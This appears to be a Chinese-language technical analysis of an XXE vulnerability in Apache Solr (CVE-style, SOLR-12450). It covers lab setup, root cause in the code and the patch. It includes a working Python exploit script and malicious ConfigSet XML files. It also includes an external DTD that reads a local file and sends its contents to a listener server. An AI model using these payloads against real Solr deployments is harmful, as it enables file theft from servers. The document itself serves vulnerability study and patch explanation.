这次的XXE漏洞依赖于SolrCloud API,影响到SolrCloud分布式系统。而SolrCloud需要用到zookeeper。
在 zookeeper文件夹下:
(zookeeper-3.4.12)~ cp .\conf\zoo_sample.cfg .\conf\zoo.cfg、
修改 conf\zoo.cfg
中的dataDir
和clientPort
,以我为例:
...
dataDir= D:\\vuln\\zookeeper-3.4.12\\data
# the port at which the clients will connect
clientPort=2181
...
然后启动服务
(zookeeper-3.4.12)~ .\bin\zkServer.cmd
solr受影响版本: 6.6.4, 7.3.1
solr的具体搭建过程不详细说明。通过ant idea
等一系列编译可以搭建idea环境。最后启动solr服务时如下,其中-DzkHost=localhost
即上面配置zookeeper的clientPort
:
solr start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988 -DzkHost=localhost:2181"
附上最简单的脚本evil.py,其中evil.zip见文章附件:
import requests
upload_url = "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=evilconfig"
files = open("evil.zip", "rb")
print(requests.post(upload_url, data=files).text)
create_url = "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest&numShards=1&collection.configName=evilconfig"
print(requests.get(create_url).text)
还有外部实体xxe.dtd,如下用于读取存放在C盘根目录下的chybeta.txt文件:
<!ENTITY % file SYSTEM "file:///C:/chybeta.txt"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:8888?%file;/'>">%int;%send;
如下图,8000
服务器用于提供xxe.dtd,8888
服务器用于接受xxe传送出来的结果
关于XXE的攻击方式等知识不妨参考小试XML实体注入攻击
第一步是需要去上传ConfigSet,根据Upload a ConfigSet,这一步是将几个xml文件打包成压缩包后上传,其中 schema.xml内容为:
<?xml version="1.0"?>
<schema name="test" version="1.1">
<fieldType name="string" class="solr.StrField" />
<fieldType name="currency" class="solr.CurrencyField" precisionStep="8" defaultCurrency="USD" currencyConfig="currency.xml" />
</schema>
currency.xml为:
<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM "http://127.0.0.1:8000/xxe.dtd"> %remote; ]>
还有一个solrconfig.xml,其内容在此省略。
考虑到是xxe,因此主要来看在何处发生了xml外部实体的解析。当开始第二个请求solr/admin/collections?action=CREATE
时,solrcloud将根据指定的collection.configName
即上一步上传的evilconfig来进行创建Collections。
org/apache/solr/schema/FileExchangeRateProvider.java:245
public void inform(ResourceLoader loader) throws SolrException {
if(loader == null) {
throw new SolrException(SolrException.ErrorCode.SERVER_ERROR, "Needs ResourceLoader in order to load config file");
}
this.loader = loader;
reload();
}
跟进reload
,到达
org/apache/solr/schema/FileExchangeRateProvider.java:159,此时变量如下
代码如下:
@Override
public boolean reload() throws SolrException {
InputStream is = null;
Map<String, Map<String, Double>> tmpRates = new HashMap<>();
try {
log.debug("Reloading exchange rates from file "+this.currencyConfigFile);
is = loader.openResource(currencyConfigFile);
javax.xml.parsers.DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
dbf.setXIncludeAware(true);
dbf.setNamespaceAware(true);
} catch (UnsupportedOperationException e) {
throw new SolrException(SolrException.ErrorCode.BAD_REQUEST, "XML parser doesn't support XInclude option", e);
}
try {
Document doc = dbf.newDocumentBuilder().parse(is);
currencyConfigFile
即前面的currency.xml,
通过is = loader.openResource(currencyConfigFile);
读取了内容后,在最后把is
对象传给了dbf
。在dbf.newDocumentBuilder().parse(is);
解析了外部实体,造成了xxe。
同样发生在对schema.xml
的解析中,我们修改schema.xml
的内容如下:
<?xml version="1.0"?>
<schema name="test" version="1.1">
<fieldType name="string" class="solr.StrField" />
<fieldType name="priorityLevel" class="solr.EnumFieldType" docValues="true" enumsConfig="enumsConfig.xml" enumName="priority"/>
</schema>
enumsConfig.xml
内容为:
<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM "http://127.0.0.1:8000/xxe.dtd"> %remote; ]>
将schema.xml
,enumsConfig.xml
和solrconfig.xml
打包成zip后,用上面的脚本执行。当solr运行至 org/apache/solr/schema/AbstractEnumField.java:90
接着在 org/apache/solr/schema/AbstractEnumField.java:110
InputStream is = null;
try {
is = schema.getResourceLoader().openResource(enumsConfigFile);
final DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
final Document doc = dbf.newDocumentBuilder().parse(is);
同样由于dbf.newDocumentBuilder().parse(is)
造成了外部实体的解析
针对 XXE 1 和 XXE 2 的补丁为 SOLR-12450.patch
其中增加了solr/core/src/java/org/apache/solr/util/SafeXMLParsing.java
,其中定义了多种解析xml的方法。比如parseConfigXML
:
/** Parses a config file from ResourceLoader. Xinclude and external entities are enabled, but cannot escape the resource loader. */
public static Document parseConfigXML(Logger log, ResourceLoader loader, String file) throws SAXException, IOException {
...
final DocumentBuilder db = dbf.newDocumentBuilder();
db.setEntityResolver(new SystemIdResolver(loader));
db.setErrorHandler(new XMLErrorLogger(log));
return db.parse(in, SystemIdResolver.createSystemIdFromResourceName(file));
...
}
对应的FileExchangeRateProvider.java
也换成了:
Document doc = SafeXMLParsing.parseConfigXML(log, loader, currencyConfigFile);
AbstractEnumField.java
则为
Document doc = SafeXMLParsing.parseConfigXML(log, loader, enumsConfigFile);